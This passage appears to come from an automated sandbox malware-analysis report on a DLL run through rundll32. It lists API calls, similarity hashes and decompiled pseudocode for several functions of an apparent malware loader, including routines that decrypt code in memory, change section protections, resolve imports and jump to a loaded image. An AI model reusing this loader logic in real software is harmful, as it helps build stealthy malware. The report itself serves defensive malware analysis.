Sleep.KERNELBASE(00000010), ref: 6FFECE46

Strings

3, xrefs: 6FFECC4A
., xrefs: 6FFEDC14

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: EnvironmentSleepVariable
String ID: .$3
API String ID: 1164960984-2208969288
Opcode ID: 5f6dbbf57cb9b56e344d09c040573a26ca5c195e47ee713072fcb6e962a7a218
Instruction ID: bd11c32b1ae336e47c876e3b1425ae6335d58de122f330f4c70983161a0f2bd7
Opcode Fuzzy Hash: 5f6dbbf57cb9b56e344d09c040573a26ca5c195e47ee713072fcb6e962a7a218
Instruction Fuzzy Hash: 3D1372325071A0CEE319CF2ACB587743BB2BB47325F2445EAF54D8A7A6D6384584CB98

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA1B8C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E6FFA1B8C(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				unsigned int _v16;
				intOrPtr _v20;
				char _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _v40;
				signed int _v48;
				signed int _v52;
				intOrPtr _t46;
				void* _t53;
				intOrPtr _t54;
				intOrPtr _t57;
				signed int _t66;
				intOrPtr _t68;
				intOrPtr _t83;
				void* _t84;

				_t83 =  *0x6ffa41b0;
				_t46 = E6FFA1FE8(_t83,  &_v24,  &_v16);
				_v20 = _t46;
				if(_t46 == 0) {
					asm("sbb ebx, ebx");
					_t66 =  ~( ~(_v16 & 0x00000fff)) + (_v16 >> 0xc);
					_t84 = _t83 + _v24;
					_v40 = _t84;
					_t53 = VirtualAlloc(0, _t66 << 0xc, 0x3000, 4); // executed
					_v28 = _t53;
					if(_t53 == 0) {
						_v20 = 8;
					} else {
						_v8 = _v8 & 0x00000000;
						if(_t66 <= 0) {
							_t54 =  *0x6ffa41cc;
						} else {
							_t68 = _a4;
							_t57 = _t53 - _t84;
							_t13 = _t68 + 0x6ffa5137; // 0x6ffa5137
							_v32 = _t57;
							_v36 = _t57 + _t13;
							_v12 = _t84;
							while(1) {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								E6FFA19D9(_v12 + _t57, _v12, (_v52 ^ _v48) - _v8 + _v24 + _a4 - 1, 0x400);
								_v12 = _v12 + 0x1000;
								_t54 =  *((intOrPtr*)(_v36 + 0xc)) -  *((intOrPtr*)(_v36 + 8)) +  *((intOrPtr*)(_v36 + 4));
								_v8 = _v8 + 1;
								 *0x6ffa41cc = _t54;
								if(_v8 >= _t66) {
									break;
								}
								_t57 = _v32;
							}
						}
						if(_t54 != 0x69b25f44) {
							_v20 = 9;
						} else {
							memcpy(_v40, _v28, _v16);
						}
						VirtualFree(_v28, 0, 0x8000); // executed
					}
				}
				return _v20;
			}

0x6ffa1b93
0x6ffa1ba3
0x6ffa1baa
0x6ffa1bad
0x6ffa1bc2
0x6ffa1bc9
0x6ffa1bce
0x6ffa1bdf
0x6ffa1be2
0x6ffa1bea
0x6ffa1bed
0x6ffa1ca0
0x6ffa1bf3
0x6ffa1bf3
0x6ffa1bf9
0x6ffa1c68
0x6ffa1bfb
0x6ffa1bfb
0x6ffa1bfe
0x6ffa1c00
0x6ffa1c08
0x6ffa1c0b
0x6ffa1c0e
0x6ffa1c16
0x6ffa1c21
0x6ffa1c22
0x6ffa1c23
0x6ffa1c40
0x6ffa1c4e
0x6ffa1c55
0x6ffa1c58
0x6ffa1c5e
0x6ffa1c63
0x00000000
0x00000000
0x6ffa1c13
0x6ffa1c13
0x6ffa1c65
0x6ffa1c72
0x6ffa1c87
0x6ffa1c74
0x6ffa1c7d
0x6ffa1c82
0x6ffa1c98
0x6ffa1c98
0x6ffa1ca7
0x6ffa1cad

APIs

VirtualAlloc.KERNELBASE(00000000,6FFA1552,00003000,00000004,?,?,6FFA1552,00000001), ref: 6FFA1BE2
memcpy.NTDLL(?,?,6FFA1552,?,?,6FFA1552,00000001), ref: 6FFA1C7D
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,6FFA1552,00000001), ref: 6FFA1C98

Strings

Aug 10 2021, xrefs: 6FFA1C19

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFreememcpy
String ID: Aug 10 2021
API String ID: 4010158826-2753409178
Opcode ID: 574fd3ea9c40cb38af4f302b76da47fadb6a1d91adb01e6a26f2f794c8b94783
Instruction ID: 1976acf047ca763e131782b778e3a7cb274a29a87fc56840b7191bf7f5255c01
Opcode Fuzzy Hash: 574fd3ea9c40cb38af4f302b76da47fadb6a1d91adb01e6a26f2f794c8b94783
Instruction Fuzzy Hash: BA311D71E10219EFDB01CFA8C981BEEB7B5BF09314F214159E915BB280D772AA15CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA149B Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E6FFA149B(void* __ecx, intOrPtr _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E6FFA14FE(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}

0x6ffa14a4
0x6ffa14a9
0x6ffa14b7
0x6ffa14bc
0x6ffa14bc
0x6ffa14c2
0x6ffa14c7
0x6ffa14cb
0x6ffa14cf
0x6ffa14cf
0x6ffa14d9
0x6ffa14e2

APIs

GetCurrentThread.KERNEL32 ref: 6FFA149E
SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 6FFA14A9
SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 6FFA14BC
SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 6FFA14CF

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: Thread$Priority$AffinityCurrentMask
String ID:
API String ID: 1452675757-0
Opcode ID: 05322f4f0a067e79b7eb53289ff32df04a40c2ca5a2108a9cc9d3251cb6883a2
Instruction ID: ac55d6330227ba279be554e551bebd22c16f7ecf3d7724850b5f75d80786fe4c
Opcode Fuzzy Hash: 05322f4f0a067e79b7eb53289ff32df04a40c2ca5a2108a9cc9d3251cb6883a2
Instruction Fuzzy Hash: 31E06D31315A14ABD6126B2D4C85F6F765CEF836357038225F920D22E0CB56982189A5

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA2042 Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E6FFA2042(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t43;
				long _t54;
				signed int _t57;
				void* _t58;
				signed int _t60;

				_v12 = _v12 & 0x00000000;
				_t57 =  *0x6ffa41cc;
				_t58 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t57 - 0x69b25f40,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t60 = _v12;
					if(_t60 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t54 = _t57 - 0x69b25f40;
							L9:
							_t43 = VirtualProtect( *((intOrPtr*)(_t58 + 0xc)) + _a4,  *(_t58 + 8), _t54,  &_v20); // executed
							if(_t43 == 0) {
								_v12 = GetLastError();
							}
							_v8 = _v8 + 1;
							_t58 = _t58 + 0x7c211d88 + _t57 * 0x28;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t54 = _t57 - 0x69b25f42;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						_t54 = _t57 - 0x69b25f24;
					} else {
						_t54 = _t57 - 0x69b25f04;
					}
					goto L9;
				}
				goto L12;
			}

0x6ffa204c
0x6ffa2059
0x6ffa205f
0x6ffa206b
0x6ffa207b
0x6ffa207d
0x6ffa2085
0x6ffa211a
0x6ffa2121
0x00000000
0x00000000
0x00000000
0x6ffa208b
0x6ffa208b
0x6ffa208b
0x6ffa208f
0x00000000
0x00000000
0x6ffa209b
0x6ffa209f
0x6ffa20c3
0x6ffa20c7
0x6ffa20db
0x6ffa20db
0x6ffa20e1
0x6ffa20f0
0x6ffa20f4
0x6ffa20fc
0x6ffa20fc
0x6ffa2104
0x6ffa2107
0x6ffa2114
0x00000000
0x00000000
0x00000000
0x00000000
0x6ffa2114
0x6ffa20cf
0x6ffa20d3
0x6ffa20d9
0x00000000
0x00000000
0x00000000
0x6ffa20d9
0x6ffa20a7
0x6ffa20ab
0x6ffa20b5
0x6ffa20ad
0x6ffa20ad
0x6ffa20ad
0x00000000
0x6ffa20ab
0x00000000

APIs

VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000,?,00000002), ref: 6FFA207B
VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 6FFA20F0
GetLastError.KERNEL32 ref: 6FFA20F6

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: ProtectVirtual$ErrorLast
String ID:
API String ID: 1469625949-0
Opcode ID: cfb6d2c5ebd4110e1791511e648b1784f8327aba92cdb55bfcbf45d98cf7793c
Instruction ID: e681f4ef843ec588cb0172eda39a4f5eba049f1e30e0cbedc153c2b3ccb6c813
Opcode Fuzzy Hash: cfb6d2c5ebd4110e1791511e648b1784f8327aba92cdb55bfcbf45d98cf7793c
Instruction Fuzzy Hash: 2F217F71A0020ADFCB14CF96C985AAAF7B4FF08354F018459D602D7119E7B6FAB4CB55

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA1768 Relevance: 4.6, APIs: 3, Instructions: 60
stringthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E6FFA1768() {
				char _v28;
				void _v44;
				char _v48;
				void* _v52;
				long _t23;
				int _t24;
				void* _t28;
				intOrPtr* _t30;
				signed int _t34;
				intOrPtr _t36;

				_push(0);
				_push(0x6ffa41c4);
				_push(1);
				_push( *0x6ffa41d0 + 0x6ffa5089);
				 *0x6ffa41c0 = 0xc;
				 *0x6ffa41c8 = 0; // executed
				L6FFA1B44(); // executed
				_t34 = 6;
				memset( &_v44, 0, _t34 << 2);
				if(E6FFA1823( &_v44,  &_v28,  *0x6ffa41cc ^ 0xf7a71548) == 0) {
					_t23 = 0xb;
					L7:
					ExitThread(_t23);
				}
				_t24 = lstrlenW( *0x6ffa41b8);
				_t7 = _t24 + 2; // 0x2
				_t10 = _t24 + _t7 + 8; // 0xa
				_t28 = E6FFA10ED(_t36, _t10,  &_v48,  &_v52); // executed
				if(_t28 == 0) {
					_t30 = _v52;
					 *_t30 = 0;
					if( *0x6ffa41b8 == 0) {
						 *((short*)(_t30 + 4)) = 0;
					} else {
						E6FFA212A(_t40, _t30 + 4);
					}
				}
				_t23 = E6FFA1202(_v44); // executed
				goto L7;
			}

0x6ffa177a
0x6ffa177b
0x6ffa1780
0x6ffa1788
0x6ffa1789
0x6ffa1793
0x6ffa1799
0x6ffa17a2
0x6ffa17a7
0x6ffa17c5
0x6ffa181a
0x6ffa181b
0x6ffa181c
0x6ffa181c
0x6ffa17cd
0x6ffa17d3
0x6ffa17e1
0x6ffa17e5
0x6ffa17ec
0x6ffa17f4
0x6ffa17f8
0x6ffa17fa
0x6ffa1809
0x6ffa17fc
0x6ffa1802
0x6ffa1802
0x6ffa17fa
0x6ffa1811
0x00000000

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(?,00000001,6FFA41C4,00000000), ref: 6FFA1799
lstrlenW.KERNEL32(?,?,?), ref: 6FFA17CD

Part of subcall function 6FFA10ED: GetSystemTimeAsFileTime.KERNEL32(?,00000002,00000000,?,?,?,?,?,?,?,?,?,6FFA17EA,0000000A,?,?), ref: 6FFA10FA
Part of subcall function 6FFA10ED: _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 6FFA1110
Part of subcall function 6FFA10ED: _snwprintf.NTDLL ref: 6FFA1135
Part of subcall function 6FFA10ED: CreateFileMappingW.KERNELBASE(000000FF,6FFA41C0,00000004,00000000,?,?), ref: 6FFA115A
Part of subcall function 6FFA10ED: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6FFA17EA,0000000A,?), ref: 6FFA1171
Part of subcall function 6FFA10ED: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6FFA17EA,0000000A), ref: 6FFA11A6

ExitThread.KERNEL32 ref: 6FFA181C

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: DescriptorFileSecurityTime$CloseConvertCreateErrorExitHandleLastMappingStringSystemThread_aulldiv_snwprintflstrlen
String ID:
API String ID: 4209869662-0
Opcode ID: 40c273f6cccbe6e4c30b4ad415961502ae60054672a3cc50f47e407a24610408
Instruction ID: ba2e23155f3044b941b6722e076eb26e23888a85ab95edd2a1b30d38a75a6203
Opcode Fuzzy Hash: 40c273f6cccbe6e4c30b4ad415961502ae60054672a3cc50f47e407a24610408
Instruction Fuzzy Hash: B2119D72114705EBDB02CBA4C844E8B77ECFF45718F024A16F514D71B0EB32E5258B95

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA195C Relevance: 2.5, APIs: 2, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E6FFA195C(void* __ecx) {
				void* _v8;
				char _v12;
				char* _t18;
				char* _t25;
				char* _t29;

				_t22 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t25 = 0;
				if(E6FFA1823( &_v8,  &_v12,  *0x6ffa41cc ^ 0x13b675ce) != 0) {
					if(_v8 == 0) {
						_t29 = 0;
					} else {
						_t29 = E6FFA1CE6(_t22, _v8,  *0x6ffa41cc ^ 0x64927f78);
					}
					if(_t29 != 0) {
						_v12 = E6FFA11BF(_t22) & 0x0000ffff;
						_t18 = StrStrIA(_t29,  &_v12); // executed
						if(_t18 != 0) {
							_t25 = 0x657;
						}
					}
					HeapFree( *0x6ffa4190, 0, _v8);
				}
				return _t25;
			}

0x6ffa195c
0x6ffa195f
0x6ffa1960
0x6ffa1976
0x6ffa197f
0x6ffa1984
0x6ffa199d
0x6ffa1986
0x6ffa1999
0x6ffa1999
0x6ffa19a1
0x6ffa19ab
0x6ffa19b3
0x6ffa19bb
0x6ffa19bd
0x6ffa19bd
0x6ffa19bb
0x6ffa19cd
0x6ffa19cd
0x6ffa19d8

APIs

StrStrIA.KERNELBASE(00000000,6FFA1576,?,6FFA1576,?,00000000,00000001,?,?,?,6FFA1576), ref: 6FFA19B3
HeapFree.KERNEL32(00000000,?,?,6FFA1576,?,00000000,00000001,?,?,?,6FFA1576), ref: 6FFA19CD

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 0cc056e2f427b0f07676d74c4b0a1950607073afe7587e5dd3d5b5b582255024
Instruction ID: ebecf059f9f4a8fbc4aed600558ceb286cbac88e68404b638a45fc0752f40090
Opcode Fuzzy Hash: 0cc056e2f427b0f07676d74c4b0a1950607073afe7587e5dd3d5b5b582255024
Instruction Fuzzy Hash: 6601A776A10514FBCB02DFE1CD41EEF7BBDEF49614F110162A940E7150EA32DA11CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 70012BAD Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 70007341: RtlAllocateHeap.NTDLL(00000008,?,00000000), ref: 70007382

_free.LIBCMT ref: 70012C1C

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: fead79109f577deddf8a53b2cc60840e495838c99c5678c3529969ae27bebc1b
Instruction ID: 01e20f841c9e04464adfce6f7e35b71ec3d9e2d41086ca7dfdcb3ea9ab1f951f
Opcode Fuzzy Hash: fead79109f577deddf8a53b2cc60840e495838c99c5678c3529969ae27bebc1b
Instruction Fuzzy Hash: D0012672604356AFD321CFA8C88598EFBA9EB047B0F110629E545A76C0E7706C60CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 70007341 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000), ref: 70007382

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 83ae4360da9de4c45a5372c3d4d21f61860616477a54fd77e35a3774930ba702
Instruction ID: f4c1256cff3dfffd2646add9926f72ff9ef73e0d1a68f64f008ebb8cd14b0c2c
Opcode Fuzzy Hash: 83ae4360da9de4c45a5372c3d4d21f61860616477a54fd77e35a3774930ba702
Instruction Fuzzy Hash: 7AF0BB32E447286AF721DA268D0DB7E37AAAF41E70B258115FC0ED6144CB78ED00A6A1

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA1202 Relevance: 1.3, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6FFA1202(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t24;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				intOrPtr* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x6ffa41cc;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x6ffa41cc - 0x69b24f45 &  !( *0x6ffa41cc - 0x69b24f45);
				_t18 = E6FFA1E91( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x6ffa41cc - 0x69b24f45 &  !( *0x6ffa41cc - 0x69b24f45),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x6ffa41cc - 0x69b24f45 &  !( *0x6ffa41cc - 0x69b24f45), _t16 + 0x964da0fc,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E6FFA16E7(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t24 = E6FFA1A0A(_t40, _t44); // executed
						_t29 = _t24;
						if(_t29 == 0) {
							_t26 = E6FFA2042(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E6FFA1E7C(_t42);
					L8:
					return _t29;
				}
			}

0x6ffa120a
0x6ffa120c
0x6ffa1228
0x6ffa1239
0x6ffa1240
0x6ffa129e
0x00000000
0x6ffa1242
0x6ffa1242
0x6ffa124c
0x6ffa1250
0x6ffa1255
0x6ffa1258
0x6ffa125d
0x6ffa1261
0x6ffa1266
0x6ffa126b
0x6ffa126f
0x6ffa1274
0x6ffa1275
0x6ffa1279
0x6ffa127e
0x6ffa1286
0x6ffa1286
0x6ffa127e
0x6ffa126f
0x6ffa1261
0x6ffa1288
0x6ffa1291
0x6ffa1295
0x6ffa129f
0x6ffa12a5
0x6ffa12a5

APIs

Part of subcall function 6FFA1E91: GetModuleHandleA.KERNEL32(?,00000020,00000002,?,?,?,?,6FFA123E,?,?,?,?,00000002,00000000,?,?), ref: 6FFA1EB5
Part of subcall function 6FFA1E91: GetProcAddress.KERNEL32(00000000,?), ref: 6FFA1ED7
Part of subcall function 6FFA1E91: GetProcAddress.KERNEL32(00000000,?), ref: 6FFA1EED
Part of subcall function 6FFA1E91: GetProcAddress.KERNEL32(00000000,?), ref: 6FFA1F03
Part of subcall function 6FFA1E91: GetProcAddress.KERNEL32(00000000,?), ref: 6FFA1F19
Part of subcall function 6FFA1E91: GetProcAddress.KERNEL32(00000000,?), ref: 6FFA1F2F

Part of subcall function 6FFA16E7: memcpy.NTDLL(00000000,00000002,6FFA124C,?,?,?,?,?,6FFA124C,?,?,?,?,?,?,00000002), ref: 6FFA1714
Part of subcall function 6FFA16E7: memcpy.NTDLL(00000000,00000002,?,00000002,00000000,?,?), ref: 6FFA1747

Part of subcall function 6FFA1A0A: LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 6FFA1A42

Part of subcall function 6FFA2042: VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000,?,00000002), ref: 6FFA207B
Part of subcall function 6FFA2042: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 6FFA20F0
Part of subcall function 6FFA2042: GetLastError.KERNEL32 ref: 6FFA20F6

GetLastError.KERNEL32(?,?), ref: 6FFA1280

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: AddressProc$ErrorLastProtectVirtualmemcpy$HandleLibraryLoadModule
String ID:
API String ID: 2673762927-0
Opcode ID: 24c1575d3204ea293ead73cd038b4b82e7089870eff406b62c4f79eef0a23b88
Instruction ID: 196eb2df3c12afac84ea10ad2f8a8968730fc1fcb940841399367dd2ddfa3a12
Opcode Fuzzy Hash: 24c1575d3204ea293ead73cd038b4b82e7089870eff406b62c4f79eef0a23b88
Instruction Fuzzy Hash: ED11EE36600711EBD7119BE9CC80D9F77FCAF893187054659EA01D7644EBA2FD058B90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 7001234F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,7001266D,00000002,00000000,?,?,?,7001266D,?,00000000), ref: 700123E8
GetLocaleInfoW.KERNEL32(?,20001004,7001266D,00000002,00000000,?,?,?,7001266D,?,00000000), ref: 70012411
GetACP.KERNEL32(?,?,7001266D,?,00000000), ref: 70012426

Strings

ACP, xrefs: 7001236D
OCP, xrefs: 700123A3

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 222cf211ab6e4f59172543003c9ad823cb35cebb1cd6767bca9e3f833151cc7d
Instruction ID: 1ea6d55796e5fd4c9110b8ff33f99f9e85545a53e33833e974d3fe8613c80660
Opcode Fuzzy Hash: 222cf211ab6e4f59172543003c9ad823cb35cebb1cd6767bca9e3f833151cc7d
Instruction Fuzzy Hash: A4218C22600102EBEB268F75C905B8F72F7AB45E74B628528E90BD7214E732DEE1C750

Uniqueness

Uniqueness Score: -1.00%

Function 70011BC3 Relevance: 7.8, APIs: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 700096C6: GetLastError.KERNEL32(00000000,?,?,70006E7D,?,?,7000053E,?,?,70045B10,?), ref: 700096CB
Part of subcall function 700096C6: SetLastError.KERNEL32(00000000,700471A0,000000FF,?,70006E7D,?,?,7000053E,?,?,70045B10,?), ref: 70009769

GetACP.KERNEL32(?,?,?,?,?,?,7000AE13,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 70011C84
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,7000AE13,?,?,?,00000055,?,-00000050,?,?), ref: 70011CAF
_wcschr.LIBVCRUNTIME ref: 70011D43
_wcschr.LIBVCRUNTIME ref: 70011D51
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 70011E12

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID:
API String ID: 4147378913-0
Opcode ID: 24d8ab03308cab575913fa02e30d44572347ae21d9f5548f19c45d098f8244f8
Instruction ID: 68fc3afeff8be51856747fc2f34452e622bd9ac055b3706cb17d0a6e750917dc
Opcode Fuzzy Hash: 24d8ab03308cab575913fa02e30d44572347ae21d9f5548f19c45d098f8244f8
Instruction Fuzzy Hash: CE71B371A40603AEE7199B75DC46BEE73FAEF45F30F104529F9069B281FB70E9808691

Uniqueness

Uniqueness Score: -1.00%

Function 70012524 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

